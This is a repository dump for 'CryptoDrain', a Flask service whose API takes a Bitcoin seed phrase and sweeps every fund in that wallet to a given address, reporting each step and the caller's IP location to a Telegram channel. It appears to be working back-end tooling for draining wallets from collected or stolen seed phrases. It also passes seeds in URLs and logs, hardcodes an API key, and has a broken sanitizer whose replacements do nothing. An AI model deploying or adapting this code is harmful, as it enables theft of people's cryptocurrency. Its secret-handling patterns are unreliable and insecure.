.
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CryptoDrain is a Flask-based Bitcoin wallet sweeping service. This project provides a secure and modular API to create and sweep wallets based on provided seed phrases and transfer funds to a specified receiver address. It is built with security, scalability, and maintainability in mind.
6 |
7 |
8 |
9 | ## Table of Contents
10 | - [Features](#features)
11 | - [Architecture & Modules](#architecture--modules)
12 | - [Installation](#installation)
13 | - [Configuration](#configuration)
14 | - [Usage](#usage)
15 | - [API Endpoints](#api-endpoints)
16 | - [Development & Testing](#development--testing)
17 | - [Contributing](#contributing)
18 | - [License](#license)
19 | - [Acknowledgments](#acknowledgments)
20 |
21 | ## Features
22 | **Modular Design**
23 | - Separates configuration management, wallet operations, and API endpoints
24 |
25 | **Security Enhancements**
26 | - Sensitive data is redacted from logs and notifications
27 | - Environment variable overrides for credentials
28 |
29 | **Input Validation**
30 | - Validates API keys, seed phrases, receiver addresses, and balance formats
31 |
32 | **Performance & Scalability**
33 | - Utilizes Gevent monkey patching for non-blocking I/O
34 | - Implements caching for IP lookup results per request
35 |
36 | **Robust Logging & Error Handling**
37 | - Uses rotating file logging with detailed exception handling
38 | - Provides structured logging for easier debugging
39 |
40 | **Health-Check Endpoint**
41 | - A dedicated endpoint to check server health for monitoring and load balancing
42 |
43 | ## Architecture & Modules
44 | The repository is organized as follows:
45 | ```
46 | ├── api
47 | │ └── config.json # JSON configuration file
48 | ├── app.py # Main application file containing Flask app and API endpoints
49 | ├── requirements.txt # Python dependencies
50 | └── README.md # Project documentation
51 | ```
52 |
53 | Key modules include:
54 | - **Config:** Manages configuration loading and environment variable overrides
55 | - **WalletManager:** Encapsulates wallet creation and sweeping operations
56 | - **Helper Functions:** Provide logging, IP lookup, input sanitization, and validation
57 | - **API Endpoints:**
58 | - `/api:` Main endpoint for processing wallet sweep requests
59 | - `/health:` Health-check endpoint for server monitoring
60 |
61 | ## Installation
62 |
63 | ### Prerequisites
64 | - **Python 3.7+**
65 | - **pip** (Python package installer)
66 |
67 | ### Steps
68 | **1. Clone the Repository:**
69 | ```
70 | git clone https://github.com/fled-dev/cryptodrain.git
71 | cd cryptodrain
72 | ```
73 |
74 | **2. Create a Virtual Environment (Optional but Recommended):**
75 | ```
76 | python3 -m venv venv
77 | source venv/bin/activate # On Windows: venv\Scripts\activate
78 | ```
79 |
80 | **3. Install Dependencies:**
81 | ```pip install -r requirements.txt```
82 |
83 | **4. Set Up Environment Variables (Optional):**
84 | You can override sensitive configuration values (e.g., Telegram API key, channel ID, host IP/port) by setting environment variables:
85 | ```
86 | export TG_API_KEY='your_telegram_api_key'
87 | export TG_CHANNEL_ID='your_telegram_channel_id'
88 | export HOST_IP='127.0.0.1'
89 | export HOST_PORT=8080
90 | ```
91 |
92 | ## Configuration
93 | The application reads its configuration from the `api/config.json` file. An example configuration is provided below:
94 | ```
95 | {
96 | "FLASK_API_KEYS": [
97 | "0c19e4d5-a705-4cd7-b107-be8fd9a7b122"
98 | ],
99 | "TG_NOTIFICATIONS": true,
100 | "TG_API_KEY": "",
101 | "TG_CHANNEL_ID": "",
102 | "HOST_IP": "127.0.0.1",
103 | "HOST_PORT": 8080
104 | }
105 | ```
106 | **Note:**
107 | _It is recommended to use environment variables for sensitive data such as TG_API_KEY and TG_CHANNEL_ID rather than storing them in plain text._
108 |
109 | ## Usage
110 | After installation and configuration, you can run the application as follows:
111 | ```
112 | python app.py
113 | ```
114 | The server will start using Gevent’s WSGIServer on the specified `HOST_IP` and `HOST_PORT`. You should see a boot screen in the terminal followed by logs indicating the server is ready to receive requests.
115 |
116 | ## API Endpoints
117 | **1. `/api`**
118 | - **Method:** `GET`
119 | - **Description:** Endpoint to validate inputs, create a wallet based on the provided seed phrase, and sweep funds to a specified receiver address
120 | - **Query Parameters:**
121 | - `api-key` (str): A valid API key
122 | - `seedphrase` (str): Wallet seed phrase (12 to 24 words)
123 | - `receiver` (str): Bitcoin address to sweep funds to
124 | - `balance` (str): (Optional) Expected balance (for logging purposes)
125 | - **Example:**
126 | ```
127 | curl "http://127.0.0.1:8080/api?api-key=0c19e4d5-a705-4cd7-b107-be8fd9a7b122&seedphrase=word1%20word2%20...%20word12&receiver=bc1qexampleaddress&balance=0.12345678"
128 | ```
129 |
130 | **2. `/health`**
131 | - **Method:** `GET`
132 | - **Description:** Simple health-check endpoint for load balancers and monitoring tools
133 | - **Response:**
134 | ```
135 | {
136 | "status": "ok"
137 | }
138 | ```
139 |
140 | ## Development & Testing
141 |
142 | **Running Locally**
143 | 1. Activate your virtual environment.
144 | 2. Set any required environment variables.
145 | 3. Run the application:
146 | ```
147 | python app.py
148 | ```
149 |
150 | **Testing**
151 | - **Unit Tests:** Add your unit tests in a separate directory (e.g., `tests/`) and run them using a test framework like `pytest`
152 | - **Linting:** Ensure your code follows PEP 8 standards by running:
153 | ```
154 | flake8 .
155 | ```
156 |
157 | ## Contributing
158 | Contributions are welcome! Please follow these steps:
159 | 1. Fork the repository
160 | 2. Create a new branch for your feature or bugfix:
161 | ```
162 | git checkout -b feature/my-new-feature
163 | ```
164 | 3. Commit your changes with clear messages
165 | 4. Push your branch to your fork:
166 | ```
167 | git push origin feature/my-new-feature
168 | ```
169 | 5. Open a pull request detailing your changes
170 |
171 | Please ensure that your code follows our coding standards and includes tests where applicable.
172 |
173 | ## License
174 | This project is licensed under the GPL-3.0 license.
175 |
176 | ## Acknowledgments
177 | Thanks to all contributors (just me lol)
178 | Special thanks to the maintainers of Flask, Gevent, and bitcoinlib for their great work.
179 |
--------------------------------------------------------------------------------
/api/api.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | """
3 | CryptoDrain: A Flask-based Bitcoin wallet sweeping service.
4 | Author: @fled-dev
5 | Version: 1.2.0
6 | """
7 |
8 | from gevent import monkey
9 | from gevent.pywsgi import WSGIServer
10 | monkey.patch_all()
11 |
12 | import logging
13 | from logging.handlers import RotatingFileHandler
14 | import os
15 | import json
16 | import re
17 | import time
18 | import random
19 | import requests
20 | import pyfiglet
21 | import uuid
22 |
23 | from flask import Flask, request, jsonify, g
24 | from bitcoinlib.wallets import Wallet, wallet_delete_if_exists
25 |
26 | # =============================================================================
27 | # Configuration Class
28 | # =============================================================================
29 | class Config:
30 | """
31 | Loads configuration from a JSON file and allows environment variable
32 | overrides for sensitive values.
33 | """
34 | def __init__(self, config_path='api/config.json'):
35 | self.config_path = config_path
36 | self.load_config()
37 | self.override_with_env()
38 |
39 | def load_config(self):
40 | """Load configuration from the JSON file."""
41 | try:
42 | with open(self.config_path, 'r') as f:
43 | config = json.load(f)
44 | except Exception as e:
45 | raise Exception(f"Failed to load configuration: {e}")
46 | self.FLASK_API_KEYS = config.get('FLASK_API_KEYS', [])
47 | self.TG_NOTIFICATIONS = config.get('TG_NOTIFICATIONS', False)
48 | self.TG_API_KEY = config.get('TG_API_KEY', '')
49 | self.TG_CHANNEL_ID = config.get('TG_CHANNEL_ID', '')
50 | # Additional configuration values for scalability.
51 | self.HOST_IP = config.get('HOST_IP', '127.0.0.1')
52 | self.HOST_PORT = config.get('HOST_PORT', 8080)
53 |
54 | def override_with_env(self):
55 | """Override sensitive configuration values with environment variables."""
56 | self.TG_API_KEY = os.environ.get('TG_API_KEY', self.TG_API_KEY)
57 | self.TG_CHANNEL_ID = os.environ.get('TG_CHANNEL_ID', self.TG_CHANNEL_ID)
58 | self.HOST_IP = os.environ.get('HOST_IP', self.HOST_IP)
59 | self.HOST_PORT = int(os.environ.get('HOST_PORT', self.HOST_PORT))
60 |
61 |
62 | # =============================================================================
63 | # Logger Setup
64 | # =============================================================================
65 | def setup_logger(log_file='logfile.txt'):
66 | """Setup a rotating file logger."""
67 | logger = logging.getLogger('CryptoDrain')
68 | logger.setLevel(logging.INFO)
69 | formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
70 | handler = RotatingFileHandler(log_file, maxBytes=5 * 1024 * 1024, backupCount=2)
71 | handler.setFormatter(formatter)
72 | logger.addHandler(handler)
73 | return logger
74 |
75 | logger = setup_logger()
76 |
77 | def safe_log(message, sensitive=False):
78 | """Log a message. If the message contains sensitive data, mark it accordingly."""
79 | if sensitive:
80 | logger.info("[SENSITIVE] " + message)
81 | else:
82 | logger.info(message)
83 |
84 |
85 | # =============================================================================
86 | # Flask App Initialization
87 | # =============================================================================
88 | app = Flask(__name__)
89 |
90 |
91 | # =============================================================================
92 | # Boot Screen Function
93 | # =============================================================================
94 | def boot_screen():
95 | """Clear the terminal and print the boot screen with application details."""
96 | os.system('cls' if os.name == 'nt' else 'clear')
97 | safe_log('Terminal cleared for boot screen.')
98 | ascii_banner = pyfiglet.figlet_format('CryptoDrain')
99 | print('\33[33m' + ascii_banner)
100 | print('\33[33m' + '--------------------- Version 1.2.0 ---------------------')
101 | print('----------------------- @fled-dev -----------------------' + '\33[0m')
102 | safe_log('Boot screen printed successfully.')
103 | time.sleep(1)
104 |
105 |
106 | # =============================================================================
107 | # Helper Functions
108 | # =============================================================================
109 | def tg_notify(message):
110 | """
111 | Send a notification to Telegram if enabled.
112 | Sensitive data is not included in the notification.
113 | """
114 | if not app.config['TG_NOTIFICATIONS']:
115 | safe_log('Telegram notification skipped as notifications are disabled.')
116 | return
117 | if not app.config['TG_API_KEY']:
118 | safe_log('Telegram notification error: Missing API key.')
119 | return
120 | if not app.config['TG_CHANNEL_ID']:
121 | safe_log('Telegram notification error: Missing channel ID.')
122 | return
123 |
124 | try:
125 | api_url = f'https://api.telegram.org/bot{app.config["TG_API_KEY"]}/sendMessage'
126 | payload = {
127 | 'chat_id': app.config["TG_CHANNEL_ID"],
128 | 'parse_mode': 'Markdown',
129 | 'text': message
130 | }
131 | response = requests.post(api_url, json=payload)
132 | if response.status_code == 200:
133 | safe_log('Telegram notification sent successfully.')
134 | else:
135 | safe_log(f'Telegram notification failed with status {response.status_code}.')
136 | except Exception as e:
137 | safe_log(f'Telegram notification exception: {e}')
138 |
139 |
140 | def get_ip_details(ip):
141 | """Retrieve IP location details from an external API and cache in flask.g."""
142 | if not hasattr(g, 'ip_details'):
143 | try:
144 | resp = requests.get(f'https://ipapi.co/{ip}/json/').json()
145 | g.ip_details = {
146 | "city": resp.get("city", "N/A"),
147 | "country": resp.get("country_name", "N/A")
148 | }
149 | except Exception as e:
150 | safe_log(f"IP lookup error: {e}")
151 | g.ip_details = {"city": "N/A", "country": "N/A"}
152 | return g.ip_details
153 |
154 |
155 | def current_ip():
156 | """Get the current IP address from the request."""
157 | ip = request.environ.get('REMOTE_ADDR', 'N/A')
158 | safe_log(f'Current IP fetched: {ip}')
159 | return ip
160 |
161 |
162 | def sanitize_input(value):
163 | """Sanitize input to prevent XSS attacks."""
164 | if value:
165 | return value.replace("<", "<").replace(">", ">").replace("&", "&")
166 | return value
167 |
168 |
169 | def validate_input(api_key, seedphrase, receiver, balance):
170 | """Validate input parameters using proper formats."""
171 | # Validate API key using the uuid module.
172 | try:
173 | uuid.UUID(api_key)
174 | except Exception:
175 | return False, "Invalid API key format."
176 |
177 | # Validate seed phrase: expecting 12 to 24 words.
178 | if seedphrase:
179 | words = seedphrase.split()
180 | if len(words) < 12 or len(words) > 24:
181 | return False, "Invalid seed phrase format."
182 |
183 | # Validate receiver address using regex for Bitcoin addresses.
184 | if (
185 | receiver
186 | and not re.fullmatch(r'(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}', receiver)
187 | ):
188 | return False, "Invalid receiver address format."
189 |
190 | # Validate balance: should be a positive number with up to 8 decimal places.
191 | if (
192 | balance
193 | and not re.fullmatch(r'\d+(\.\d{1,8})?', balance)
194 | ):
195 | return False, "Invalid balance format."
196 |
197 | return True, "Valid input."
198 |
199 |
200 | # =============================================================================
201 | # Wallet Manager Class
202 | # =============================================================================
203 | class WalletManager:
204 | """Manage wallet creation and sweeping operations."""
205 | def __init__(self, seedphrase):
206 | self.seedphrase = sanitize_input(seedphrase)
207 | self.wallet = None
208 | self.wallet_name = ''.join(random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for _ in range(12))
209 |
210 | def create_wallet(self):
211 | """Create a wallet using the provided seed phrase."""
212 | try:
213 | # Delete an existing wallet with the same name if it exists.
214 | if wallet_delete_if_exists(self.wallet_name, force=True):
215 | safe_log(f"Existing wallet {self.wallet_name} deleted.", sensitive=True)
216 | except Exception as e:
217 | safe_log(f"Error deleting existing wallet: {e}")
218 |
219 | try:
220 | safe_log("Creating wallet...", sensitive=True)
221 | self.wallet = Wallet.create(
222 | self.wallet_name,
223 | keys=self.seedphrase,
224 | network='bitcoin',
225 | witness_type='segwit'
226 | )
227 | self.wallet.scan()
228 | safe_log("Wallet created and scanned successfully.", sensitive=True)
229 | return True, "Wallet created successfully."
230 | except Exception as e:
231 | safe_log(f"Wallet creation failed: {e}")
232 | return False, f"Wallet creation failed: {e}"
233 |
234 | def sweep_wallet(self, receiver):
235 | """Sweep wallet funds to the provided receiver address."""
236 | try:
237 | safe_log("Sweeping wallet...", sensitive=True)
238 | _ = self.wallet.sweep(receiver, offline=False)
239 | safe_log("Wallet swept successfully.", sensitive=True)
240 | return True, "Wallet swept successfully."
241 | except Exception as e:
242 | safe_log(f"Wallet sweep failed: {e}")
243 | return False, f"Wallet sweep failed: {e}"
244 |
245 |
246 | # =============================================================================
247 | # API Endpoints
248 | # =============================================================================
249 | @app.route('/api')
250 | def api_route():
251 | """API endpoint to create and sweep a wallet."""
252 | try:
253 | safe_log("API endpoint called. Validating request.")
254 | api_key = request.args.get('api-key')
255 | seedphrase = request.args.get('seedphrase')
256 | receiver = request.args.get('receiver')
257 | balance = request.args.get('balance')
258 |
259 | # Validate input parameters.
260 | is_valid, validation_message = validate_input(api_key, seedphrase, receiver, balance)
261 | if not is_valid:
262 | safe_log(f'Input validation failed: {validation_message}')
263 | return jsonify({'error': validation_message}), 400
264 |
265 | # Check if API key is authorized.
266 | if api_key not in app.config['FLASK_API_KEYS']:
267 | ip = current_ip()
268 | details = get_ip_details(ip)
269 | notification = (
270 | "*Error - Connection Refused (1/3)*\n\n"
271 | "Unauthorized API key attempt.\n\n"
272 | f"IP: {ip}\n"
273 | f"Location: {details.get('city')} / {details.get('country')}"
274 | )
275 | safe_log("Unauthorized API key attempt.")
276 | tg_notify(notification)
277 | return jsonify({'error': 'Invalid API key'}), 403
278 |
279 | safe_log("API key validated. Proceeding with wallet operations.")
280 | ip = current_ip()
281 | details = get_ip_details(ip)
282 | tg_notify(
283 | f"*Success - Connection Established (1/3)*\n\n"
284 | "Valid connection established.\n\n"
285 | f"IP: {ip}\n"
286 | f"Location: {details.get('city')} / {details.get('country')}"
287 | )
288 |
289 | # Process wallet operations.
290 | wallet_manager = WalletManager(seedphrase)
291 | success, message = wallet_manager.create_wallet()
292 | if not success:
293 | tg_notify(f"*Error - Wallet Creation Failed (2/3)*\n\n{message}")
294 | return jsonify({'error': 'Wallet creation failed.'}), 500
295 | tg_notify("*Success - Wallet Created (2/3)*\n\nWallet created successfully.")
296 |
297 | success, message = wallet_manager.sweep_wallet(receiver)
298 | if success:
299 | tg_notify("*Success - Wallet Swept (3/3)*\n\nWallet swept successfully.")
300 | return jsonify({'message': 'Wallet swept successfully.'}), 200
301 | tg_notify(f"*Error - Wallet Not Swept (3/3)*\n\n{message}")
302 | return jsonify({'error': 'Wallet sweep failed.'}), 500
303 |
304 | except Exception as e:
305 | safe_log(f'Unexpected error in api_route: {e}', sensitive=True)
306 | tg_notify("*Fatal Error - Function: api_route()*\n\nA critical error occurred. Please check the logs.")
307 | return jsonify({'error': 'A server error occurred. Please try again later.'}), 500
308 |
309 |
310 | @app.route('/health')
311 | def health():
312 | """Health-check endpoint."""
313 | return jsonify({'status': 'ok'}), 200
314 |
315 |
316 | # =============================================================================
317 | # Main Function
318 | # =============================================================================
319 | def main():
320 | """Main function to run the Flask server."""
321 | boot_screen()
322 | try:
323 | # Load configuration and store in Flask app config.
324 | config = Config()
325 | app.config['FLASK_API_KEYS'] = config.FLASK_API_KEYS
326 | app.config['TG_NOTIFICATIONS'] = config.TG_NOTIFICATIONS
327 | app.config['TG_API_KEY'] = config.TG_API_KEY
328 | app.config['TG_CHANNEL_ID'] = config.TG_CHANNEL_ID
329 |
330 | host_ip = config.HOST_IP
331 | host_port = config.HOST_PORT
332 |
333 | print(f'\033[1mHost IP: {host_ip}')
334 | print(f'Host Port: {host_port}\033[0m')
335 | print('Server is waiting for incoming requests ...')
336 |
337 | http_server = WSGIServer((host_ip, host_port), app)
338 | http_server.serve_forever()
339 | except Exception as e:
340 | safe_log(f"Fatal error in main: {e}", sensitive=True)
341 | tg_notify(f"*Fatal Server Error - Flask Server Couldn't Start*\n\n{e}")
342 | print(f'Fatal Error: {e}')
343 |
344 |
345 | if __name__ == '__main__':
346 | main()
347 |
--------------------------------------------------------------------------------
/api/config.json:
--------------------------------------------------------------------------------
1 | {
2 | "FLASK_API_KEYS": [
3 | "0c19e4d5-a705-4cd7-b107-be8fd9a7b122"
4 | ],
5 | "TG_NOTIFICATIONS": true,
6 | "TG_API_KEY": "",
7 | "TG_CHANNEL_ID": "",
8 | "HOST_IP": "127.0.0.1",
9 | "HOST_PORT": 8080
10 | }
11 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | flask==2.2.5
2 | bitcoinlib==0.6.13
3 | pyfiglet==1.2.0
4 | gevent==23.9.1
5 |
--------------------------------------------------------------------------------